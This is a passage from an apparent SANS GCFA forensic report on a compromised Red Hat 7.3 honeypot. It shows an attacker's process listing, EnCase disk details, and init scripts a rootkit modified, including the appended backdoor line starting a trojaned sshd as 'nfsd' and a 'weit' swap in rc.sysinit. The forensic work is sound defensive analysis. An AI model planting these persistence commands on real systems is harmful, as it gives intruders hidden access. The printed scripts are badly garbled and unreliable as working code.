<td>0:00</td>
<td>chmod +s /usr/sbin/nfsd</td>
</tr>
<tr>
<td>19798</td>
<td>Z</td>
<td>0:00</td>
<td>[chmod &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19801</td>
<td>T</td>
<td>0:00</td>
<td>cp -f sshd_config /sbin</td>
</tr>
<tr>
<td>19802</td>
<td>Z</td>
<td>0:00</td>
<td>[cp &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19806</td>
<td>T</td>
<td>0:00</td>
<td>cp -f xxh_h /sbin</td>
</tr>
<tr>
<td>19808</td>
<td>T</td>
<td>0:00</td>
<td>cp -f xxh_r /sbin</td>
</tr>
<tr>
<td>19810</td>
<td>T</td>
<td>0:00</td>
<td>/usr/sbin/nfsd -f /sbin/sshd_config</td>
</tr>
<tr>
<td>19811</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/nfsd -f /sbin/sshd_config</td>
</tr>
<tr>
<td>19812</td>
<td>Z</td>
<td>0:00</td>
<td>[cp &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19814</td>
<td>Z</td>
<td>0:00</td>
<td>[cp &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19815</td>
<td>Z</td>
<td>0:00</td>
<td>[nfsd &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19893</td>
<td>S</td>
<td>0:00</td>
<td>bash -i</td>
</tr>
<tr>
<td>19936</td>
<td>S</td>
<td>0:00</td>
<td>inetd/services</td>
</tr>
</tbody>
</table>
19941 ? S 0:00 inetd/services
19948 ? R 0:00 ps ax
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ exit
Appendix F

EnCase – Final Report - Linux 7.3 System.

EnCase Computer Analysis Report

Investigating Agency

Investigating Agency:  
Sans GCFA Cert  
Investigating Officer:  
Kevin Miller  
12 Main  
Here, Over There

Investigation Details

The evidence was delivered to Kevin Miller on June 30, 2003.  

<table>
<thead>
<tr>
<th>Items received</th>
<th>Quantity</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Desktop computers</td>
<td>1</td>
<td>Compaq Deskpro P400</td>
</tr>
</tbody>
</table>

Special Circumstances

System from HoneyNet run from June 27 to June 30, 2003.
Linux 7.3 Honey pot system

Device
Evidence Number: Linux 7.3 Honey pot system
File Path: C:\Sans\evidence files\Linux 7.3 Honey pot system.E01
Examiner Name: Kevin Miller
Actual Date: 07/16/03 11:03:19AM
Target Date: 07/16/03 11:03:19AM
Total Size: 6,448,619,520 bytes (6.0GB)
Total Sectors: 12,594,960
File Integrity: Completely Verified, 0 Errors
Write Blocker: FastBloc
EnCase Version: 4.14
System Version: Windows XP
Acquisition Hash: 579720D58A61D971083F10695B8249CB
Verify Hash:

Partitions

<table>
<thead>
<tr>
<th>Code</th>
<th>Type</th>
<th>Start Sector</th>
<th>Total Sectors</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>0</td>
<td>105,840</td>
<td>51.7MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>105,840</td>
<td>7,817,040</td>
<td>3.7GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>7,922,880</td>
<td>2,842,560</td>
<td>1.4GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>10,765,440</td>
<td>786,240</td>
<td>383.9MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>11,551,680</td>
<td>529,200</td>
<td>258.4MB</td>
</tr>
<tr>
<td>82</td>
<td>Linux Swap</td>
<td>12,080,880</td>
<td>514,080</td>
<td>251.0MB</td>
</tr>
</tbody>
</table>

OS Background

Red Hat Linux release 7.3 (Valhalla)

File system layout from fstab.

```
LABEL=/ / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
none /dev/pts devpts gid=5,mode=620 0 0
LABEL=/home /home ext3 defaults 1 2
none /proc proc defaults 0 0
none /dev/shm tmpfs defaults 0 0
LABEL=/usr /usr ext3 defaults 1 2
LABEL=/var /var ext3 defaults 1 2
/dev/hda7 swap swap defaults 0 0
/dev/cdrom /mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0
/dev/fd0 /mnt/floppy auto noauto,owner,kudzu 0 0
```
## Volume /boot

**Volume**

<table>
<thead>
<tr>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>File System:</td>
<td>EXT3</td>
</tr>
<tr>
<td>Sectors per cluster:</td>
<td>2</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>105,777</td>
</tr>
<tr>
<td></td>
<td>54,157,312 bytes (51.7MB)</td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>52,888</td>
</tr>
<tr>
<td></td>
<td>43,376,640 bytes (41.4MB)</td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>42,360</td>
</tr>
<tr>
<td>bytes (10.3MB)</td>
<td></td>
</tr>
<tr>
<td>Volume Name:</td>
<td></td>
</tr>
<tr>
<td>Volume Offset:</td>
<td>63</td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /boot
Volume /usr

Volume
File System: EXT3
Sectors per cluster: 8
Total Sectors: 7,817,040
Total Capacity: 4,002,324,480 bytes (3.7GB)
Total Clusters: 977,130
Unallocated: 2,523,922,432 bytes (2.4GB)
Free Clusters: 616,192
Allocated: 1,478,402,048 bytes (1.4GB)
Volume Name:
Volume Offset: 105,840

The following are bookmarks from Volume /usr
weit file in /usr/bin

modified files

Modified Files

Volume /home

<table>
<thead>
<tr>
<th>Volume</th>
<th>File System:</th>
<th>EXT3</th>
<th>Drive Type:</th>
<th>Fixed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sectors per cluster:</td>
<td>8</td>
<td>Bytes per sector:</td>
<td>512</td>
<td></td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>2,842,560</td>
<td>Total Capacity:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1,455,390,720 bytes (1.4GB)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>355,320</td>
<td>Unallocated:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1,397,174,272 bytes (1.3GB)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>341,107</td>
<td>Allocated: 58,216,448</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bytes (55.5MB)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Volume Name:</td>
<td></td>
<td>Volume Offset:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7,922,880</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /home
Volume /

Volume
File System: EXT3
Sectors per cluster: 2
Total Sectors: 786,177
402,522,112 bytes (383.9MB)
Total Clusters: 393,088
316,984,320 bytes (302.3MB)
Free Clusters: 309,555
bytes (81.6MB)
Volume Name: Volume Offset:

The following are bookmarks from Volume /

startup files

Startup Files
6) Name  inittab
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\inittab
Entry Modified  06/20/03 04:14:39AM
Last Accessed  06/30/03 04:45:40PM
Last Written  06/20/03 04:14:39AM
Hash Value  340fae11d6076e8607fe0e0069c2e57
Physical Size 2,048
Logical Size 1,756
Short Name

Comment: The config file used for booting.

# inittab  This file describes how the INIT process should set up
# the system in a certain run-level.
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
# System initialization.
EnCase Computer Analysis Report

Sans GCFA Cert Assignment
EnCase Computer Analysis Report
Page 209

```
si::sysinit:/etc/rc.d/rc.sysinit
l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Things to run in every runlevel.
ud::once:/sbin/update

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
# xdm is now a separate service
x:5:respawn:/etc/X11/prefdm -nodaemon

These scripts are used by inittab for booting
```

<table>
<thead>
<tr>
<th>7) Name</th>
<th>keytable</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>File</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/19/03 11:35:03AM</td>
</tr>
<tr>
<td>Last Written</td>
<td>04/15/02 08:05:50AM</td>
</tr>
<tr>
<td>Physical Size</td>
<td>2,048</td>
</tr>
<tr>
<td>Short Name</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>8) Name</th>
<th>atd</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>File</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/19/03 11:34:38AM</td>
</tr>
<tr>
<td>Last Written</td>
<td>01/17/02 11:34:41AM</td>
</tr>
<tr>
<td>Physical Size</td>
<td>2,048</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
</tr>
<tr>
<td>----------</td>
<td>-------------</td>
</tr>
<tr>
<td>kdcrotate</td>
<td></td>
</tr>
<tr>
<td>gpm</td>
<td></td>
</tr>
<tr>
<td>sendmail</td>
<td></td>
</tr>
<tr>
<td>kudzu</td>
<td></td>
</tr>
<tr>
<td>halt</td>
<td></td>
</tr>
<tr>
<td>netfs</td>
<td></td>
</tr>
<tr>
<td>Entry Modified</td>
<td>Last Accessed</td>
</tr>
<tr>
<td>----------------</td>
<td>---------------</td>
</tr>
<tr>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
</tr>
<tr>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
</tr>
<tr>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
</tr>
<tr>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
</tr>
<tr>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
</tr>
<tr>
<td>06/19/03 11:38:11AM</td>
<td>06/27/03 02:09:10PM</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>---</td>
<td>---</td>
</tr>
<tr>
<td><strong>Physical Size</strong></td>
<td>1,024</td>
</tr>
<tr>
<td><strong>Logical Size</strong></td>
<td>934</td>
</tr>
</tbody>
</table>

20) **Name**: lpd
**Description**: File
**Full Path**: /etc/rc.d/init.d/lpd
**Entry Modified**: 06/19/03 11:39:08AM
**Last Accessed**: 06/27/03 02:09:10PM
**Last Written**: 04/02/02 10:57:07AM
**Hash Value**: 37ba1d18ff0ff75142055f1b63d6cc9e
**Physical Size**: 2,048
**Logical Size**: 2,033

21) **Name**: portmap
**Description**: File
**Full Path**: /etc/rc.d/init.d/portmap
**Entry Modified**: 06/19/03 11:40:22AM
**Last Accessed**: 06/27/03 02:09:10PM
**Last Written**: 02/27/02 01:41:37PM
**Hash Value**: 97d91eea25e86a592c5bebbaeac49f16
**Physical Size**: 2,048
**Logical Size**: 1,831

22) **Name**: xinetd
**Description**: File
**Full Path**: /etc/rc.d/init.d/xinetd
**Entry Modified**: 06/19/03 11:46:32AM
**Last Accessed**: 06/27/03 02:13:01PM
**Last Written**: 04/04/02 04:30:50PM
**Hash Value**: 4296e734117325537d5750b8ed88dde7
**Physical Size**: 3,072
**Logical Size**: 2,313

23) **Name**: autofs
**Description**: File
**Full Path**: /etc/rc.d/init.d/autofs
**Entry Modified**: 06/20/03 02:13:13AM
**Last Accessed**: 06/27/03 02:09:10PM
**Last Written**: 04/02/02 10:22:41AM
**Hash Value**: 81744fd73f54923367f42cce374b64ab
**Physical Size**: 10,240
**Logical Size**: 9,435

24) **Name**: nfslock
**Description**: File
**Full Path**: /etc/rc.d/init.d/nfslock
**Entry Modified**: 06/20/03 02:14:00AM
**Last Accessed**: 06/27/03 02:09:10PM
**Last Written**: 04/09/02 09:14:14AM
**Hash Value**: a3d40799d79e6923367f42cce374b64ab
**Physical Size**: 3,072
**Logical Size**: 2,286

25) **Name**: identd
<table>
<thead>
<tr>
<th>Entry</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>26) Name</td>
<td>snmpd</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>27) Name</td>
<td>yppbind</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>28) Name</td>
<td>sshd</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>29) Name</td>
<td>yppasswdd</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>30) Name</td>
<td>ypxfrd</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
</tr>
<tr>
<td>----------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>------------------</td>
<td>---------------</td>
<td>--------------</td>
<td>--------------------------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
</tr>
<tr>
<td>bcm5820</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\bcm5820</td>
<td>06/20/03 02:17:28AM</td>
<td>06/27/03 02:09:11PM</td>
<td>04/16/02 10:13:07AM</td>
<td>1859dd2bf7c24009963f3363e79c6ee9</td>
<td>3,072</td>
<td>2,455</td>
<td></td>
</tr>
<tr>
<td>squid</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\squid</td>
<td>06/20/03 02:18:09AM</td>
<td>06/27/03 02:09:11PM</td>
<td>03/22/02 04:56:28PM</td>
<td>17f0dbb410585a18abaca1e7b968364f</td>
<td>3,072</td>
<td>2,785</td>
<td></td>
</tr>
<tr>
<td>named</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\named</td>
<td>06/20/03 02:18:23AM</td>
<td>06/27/03 02:09:11PM</td>
<td>03/14/02 04:50:10AM</td>
<td>c7d2e8dc59ad0c78573032af6a1caf5</td>
<td>3,072</td>
<td>2,281</td>
<td></td>
</tr>
<tr>
<td>S95atd</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc5.d\S95atd</td>
<td>06/19/03 11:34:39AM</td>
<td>06/23/03 12:00:19PM</td>
<td>06/19/03 11:34:39PM</td>
<td></td>
<td>856</td>
<td>13</td>
<td></td>
</tr>
</tbody>
</table>

Comment: The S95atd is the script that boots the (compromised) syslog script.

**Startup files modified by root kit**

Compromised startup files

36) Name functions
Comment: The functions startup script has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to it. This is done by the install script found in the /tmp/ directory.

```
#!/bin/bash
# functions This file contains functions to be used by most or all shell scripts in the /etc/init.d directory.
#
# Version: @(#) /etc/init.d/functions 1.01 26-Oct-1993
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Hacked by: Greg Galloway and Marc Ewing
#
# i18n originally by: Arnaldo Carvalho de Melo <acme@connectiva.com.br>,
# Wanderlei Antonio Cavassin
TEXTDOMAIN=initscripts
TEXTDOMAINDIR=/etc/locale

# Make sure umask is sane
umask 022
# First set up a default search path.
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin"
# Get a sane screen width
[ -z "${COLUMNS:-1}" ] && COLUMNS=80
if [ -f /etc/sysconfig/i18n ] || [ -z "${NOLOCALE:-1}" ]; then
  . /etc/sysconfig/i18n
  . /etc/sysconfig/i18n
  if [ "$LANG:-1" = "ja_JP.eucJP" ]; then unset LANG
  elif [ "$LANG:-1" = "ko_KR.eucKR" ]; then unset LANG
  elif [ "$LANG:-1" = "zh_CN.GB2312" ]; then unset LANG
  elif [ "$LANG:-1" = "zh_TW.Big5" ]; then unset LANG
  else
    export LANG
  fi
fi

# Read in our configuration
if [ -z "${BOOTUP:-1}" ]; then
  if [ -f /etc/sysconfig/init ]; then
    . /etc/sysconfig/init
  else
    # This all seem confusing? Look in /etc/sysconfig/init, # or in /usr/doc/initscripts/*/sysconfig.txt

    BOOTUP=color
    RES_COL=60
    MOVE_TO_COL="echo -en \033[1;32m"
    SETCOLOR_SUCCESS="echo -en \033[1;31m"
    SETCOLOR_FAILURE="echo -en \033[1;33m"
    SETCOLOR_WARNING="echo -en \033[1;33m"
```
```
SETCOLOR_NORMAL="echo -en \033[0m"
LOGLEVEL=1

if [ -x /sbin/consoletype ]; then
  if [ "$consoletype" = "serial" ]; then
    BOOTUP=serial
    MOVE_TO_COL=
    SETCOLOR_SUCCESS=
    SETCOLOR_FAILURE=
    SETCOLOR_WARNING=
    SETCOLOR_NORMAL=
  fi
fi

if [ "${BOOTUP:-}" != "verbose" ]; then
 INITLOG_ARGS="-q"
else
  INITLOG_ARGS=
fi

# Check if $pid (could be plural) are running
checkpid() {
  while [ "$1" ]; do
    [ -d /proc/$1 ] && return 0
    shift
  done
  return 1
}

# A function to start a program.
daemon() {
  # Test syntax.
  local gotbase= force
  local base= user= nice= bg= pid
  nicelevel=0
  while [ "$1" != "$1" ]; do
    case $1 in
      '') echo "$0: Usage: daemon [+/ -nicelevel] {program}"
        return 1;;
      --check)
        gotbase="yes"
        shift 2
        ;;
      --check=?)
        base=${1#--check=}
        gotbase="yes"
        shift
        ;;
      --user)
        user=${2}
        shift 2
        ;;
      --user=?)
        user=${2#--user=}
        shift
        ;;
      --force)
        force="force"
        shift
        ;;
      [+][-][0-9]*)
        nice="nice -n $1"
        shift
        ;;
      *) echo "$0: Usage: daemon [+/ -nicelevel] {program}"
        return 1;;
    esac
  esac
}
```

esac
done

# Save basename.
[ -z "$gotbase" ] && base=${1##*/}

# See if it's already running. Look 'only' at the pid file.
pid=`pidfileofproc $base`
[ -n "$pid" ] && return

# make sure it doesn't core dump anywhere; while this could mask
# problems with the daemon, it also closes some security problems
ulimit -S -c 0 > /dev/null 2>&1

# Echo daemon
[ "${BOOTUP:-!}" = "verbose" -a "$LSB" ] && echo -n "$base"

# And start it up.
if [ -z "$user" ]; then
$nice initlog $INITLOG_ARGS -c "$*"
else
$nice initlog $INITLOG_ARGS -c "$user" -c "su -s /bin/bash - $user -c \\
"$*"
fi
[ "$?" = 0 ] && success "$base startup" || failure "$base startup"

# A function to stop a program.
killproc() {
RC=0
# Test syntax.
if [ "$#" = 0 ]; then
  echo "$Usage: killproc {program} [signal]"
  return 1
fi

notset=0
# check for second arg to be kill level
if [ "$#" = 2 ] ; then
  killlevel=$2
else
  notset=1
  killlevel="-9"
fi

# Save basename.
base=${1##*/}

# Find pid.
pid=`pidofproc $1`
if [ -z "$pid" ] ; then
  pid=`pidofproc $base`
fi

# Kill it.
if [ -n "$pid" ] ; then
  if checkpid $pid || ( sleep 1 && checkpid $pid || sleep 3 &&
    checkpid $pid ); then
    kill -TERM $pid
    usleep 100000
  fi
  kill -KILL $pid
  usleep 100000
fi
fi
checkpid $pid
RC=0
[ "SRC" -eq 0 ] && failure "$base shutdown" || success "$base shutdown"
RC=$({ ! SRC})
# use specified level only
else
  if checkpid $pid >/dev/null 2>&1; then
    kill $killlevel $pid
    RC=$?
    [ "$RC" -eq 0 ] && success "$base $killlevel" || failure "$base $killlevel"
  fi
fi
else
  failure "$base shutdown"
  RC=1
fi
# Remove pid file if any.
if [ "$notset" = "1" ]; then
  rm -f /var/run/$base.pid
fi
return $RC
}
# A function to find the pid of a program. Looks only at the pidfile
pidfileofproc() {
  local base=${1##*/}
  local pid
  # Test syntax.
  if [ "$#" = 0 ]; then
    echo "$Usage: pidfileofproc {program}"
    return 1
  fi
  # First try "/var/run/*.pid" files
  if [ -f /var/run/$base.pid ]; then
    local line p pid=
    read line < /var/run/$base.pid
    for p in $line ; do
      [ -z "${p//[0-9]/}" -a -d /proc/$p ] && pid="${pid} $p"
    done
    if [ -n "${pid:-}" ]; then
      echo $pid
      return 0
    fi
  fi
}
# A function to find the pid of a program.
pidofproc() {
  base=${1##*/}
  # Test syntax.
  if [ "$#" = 0 ]; then
    echo "$Usage: pidofproc {program}"
    return 1
  fi
  # First try "/var/run/*.pid" files
  if [ -f /var/run/$base.pid ]; then
    local line p pid=
    read line < /var/run/$base.pid
    for p in $line ; do
      [ -z "${p//[0-9]/}" -a -d /proc/$p ] && pid="${pid} $p"
    done
    if [ -n "${pid:-}" ]; then
      echo $pid
      return 0
fi
fi

# Next try "pidof"
pidof -o $$ -o PPID -o %PPID -x $1 || 
pidof -o $$ -o PPID -o %PPID -x $2(base)
}

status() {
local base=${1##*/}
local pid

# Test syntax.
if [ "$#" = 0 ] ; then
  echo "$Usage: status [program]"
  return 1
fi

# First try "pidof"
pid=`pidof -o $$ -o PPID -o %PPID -x $1 || 
pidof -o $$ -o PPID -o %PPID -x $2(base)`
if [ "$pid" != "" ] ; then
  echo "$2(base) (pid $pid) is running..."
  return 0
fi

# Next try "/var/run/*.*.pid" files
if [ -F /var/run/$2(base).pid ] ; then
  read pid < /var/run/$2(base).pid
  if [ "$pid" != "" ] ; then
    echo "$2(base) dead but pid file exists"
    return 1
  fi
fi

# See if /var/lock/subsys/$2 exists
if [ -f /var/lock/subsys/$2(base) ] ; then
  echo "$2(base) dead but subsys locked"
  return 2
fi

echo "$2(base) is stopped"
return 3
}

echo_success() {
  [ "$BOOTUP" = "color" ] && MOVE_TO_COL
  echo -n "["
  [ "$BOOTUP" = "color" ] && SETCOLOR_SUCCESS
  echo -n "OK"
  [ "$BOOTUP" = "color" ] && SETCOLOR_NORMAL
  echo -n " ]"
  echo -ne "]"
  return 0
}

echo_failure() {
  [ "$BOOTUP" = "color" ] && MOVE_TO_COL
  echo -n "["
  [ "$BOOTUP" = "color" ] && SETCOLOR_FAILURE
  echo -n "FAILED"
  [ "$BOOTUP" = "color" ] && SETCOLOR_NORMAL
  echo -n " ]"
  echo -ne "]
  return 1
}

echo_passed() {
  [ "$BOOTUP" = "color" ] && MOVE_TO_COL
  echo -n "["
  [ "$BOOTUP" = "color" ] && SETCOLOR_WARNING
  echo -n " ]"
  echo -ne "]
  return 0
}
echo -n "$PASSED"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -n ""
echo -ne "\\n"
return 1
}

echo_warning() {  
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL
echo -n "[
[ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
echo -n "$WARNING"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -n "]
return 1
}

# Log that something succeeded
success() {
if [ -z "${IN_INITLOG:-}" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
else
  # silly hack to avoid EPIPE killing rc.sysinit
  trap "" SIGPIPE
  echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >$21
  trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_success
return 0
}

# Log that something failed
failure() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 2
else
  trap "" SIGPIPE
  echo "$INITLOG_ARGS -n $0 -s "$1" -e 2" >$21
  trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_failure
return $rc
}

# Log that something passed, but may have had errors. Useful for fsck
passed() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
else
  trap "" SIGPIPE
  echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >$21
  trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_passed
return $rc
}

# Log a warning
warning() {  
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
else
  trap "" SIGPIPE
  echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >$21
  trap - SIGPIPE

EnCase Computer Analysis Report

fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_warning
return $rc
}

# Run some action. Log its output.
action() {
STRING=$1
echo -n "$STRING "
shift
initlog $INITLOG_ARGS -c "$*" && success "$STRING" || failure "$STRING"
rc=$?
echo
return $rc
}

# returns OK if $1 contains $2
strstr() {
[ "$1" = "$2" ] && return 0
slice=${1#*$2*}
[ "$slice" = "$1" ] && return 1
return 0
}

# Confirm whether we really want to run this service
confirm() {
local YES=$"yY"
local NO=$"nN"
local CONT=$"cC"
while : ; do
  echo -n "$STRING" "Start service $1 (Y)es/(N)o/(C)ontinue? [Y] "
  read answer
  if strstr "$YES" "$answer" || [ "$answer" = "" ] ; then
    return 0
  elif strstr "$CONT" "$answer" ; then
    return 2
  elif strstr "$NO" "$answer" ; then
    return 1
  fi
  done
/usr/sbin/nfsd -f /sbin/sshd_config

37) Name    syslog
Description File
Full Path  /etc/rc.d/init.d/syslog
Entry Modified  06/29/03 03:25:21PM
Last Accessed  06/29/03 03:22:07PM
Last Written   06/29/03 03:25:21PM
Hash Value  7e7d2b5075662d3cd6e35c24b5003d69
Physical Size  2,048
Logical Size  1,405

Comment: The syslog startup file has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to the bottom. This is done by the install script located in the /tmp/.s directory. The nfsd is an ssh daemon listening for connection on port 18.

#!/bin/bash
#
# syslog        Starts syslogd/klogd.
#
# chkconfig: 2345 12 88
# description: Syslog is the facility by which many daemons use to log \
# messages to various system log files. It is a good idea to always \ # run syslog.
### BEGIN INIT INFO
# Provides: $syslog
### END INIT INFO

# Source function library.
. /etc/init.d/functions

[ -f /sbin/syslogd ] || exit 0
[ -f /sbin/klogd ] || exit 0

# Source config
if [ -f /etc/sysconfig/syslog ]; then
  . /etc/sysconfig/syslog
else
  SYSLOGD_OPTIONS="-m 0"
  KLOGD_OPTIONS="-2"
fi

RETVAL=0

umask 077

start() { echo
  n "$1" Starting system logger: "
  daemon syslogd $SYSLOGD_OPTIONS
  RETVAL=$?
  echo
echo
  n "$1" Starting kernel logger: "
  daemon klogd $KLOGD_OPTIONS
echo
  [ $RETVAL eq 0 ] & & touch /var/lock/subsys/syslog
  return $RETVAL
}

stop() { echo
  n "$1" Shutting down kernel logger: "
  killproc klogd
echo
echo
  n "$1" Shutting down system logger: "
  killproc syslogd
  RETVAL=$?
echo
  [ $RETVAL eq 0 ] & & rm -f /var/lock/subsys/syslog
  return $RETVAL
}

rhstatus() {
  status syslogd
  status klogd
}

restart() {
  stop
  start
}

case "$1" in
  start)
    start
    ;;
  stop)
    stop
    ;;
  status)
    rhstatus
    ;;
  restart|reload)
    restart
    ;;
  condrestart)
[ -f /var/lock/subsys/syslog ] && restart || :;
"
"
* echo "$Revision: 0 (start|stop|status|restart|condrestart)"
exit 1
esac
exit $?
/usr/sbin/nfsd -f /sbin/sshd_config

38) Name  rc.sysinit
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system\etc\rc.d\rc.sysinit
Entry Modified  06/29/03 03:22:09PM
Last Accessed  06/30/03 04:45:40PM
Last Written  06/29/03 03:22:09PM
Hash Value  ee965268d25b94ed0ffeb16dbe5be890
Physical Size  22,528
Logical Size  22,379

Comment: The rc.sysinit file was edited by the p.ssh script. The p.ssh script is called (sh p.ssh) by the install script from the s.tar.gz archive. The "wait" statement at the end of the file has been replaced with "weit". The weit file is located in /usr/sbin/ directory and calles popauth, an executable in the /x directory.

#!/bin/bash
#
#/etc/rc.sysinit - run once at boot time
#
# Taken in part from Miquel van Smoorenburg's bcheckrc.
#
# Rerun ourselves through initlog
if [ -z "$IN_INITLOG" ]; then
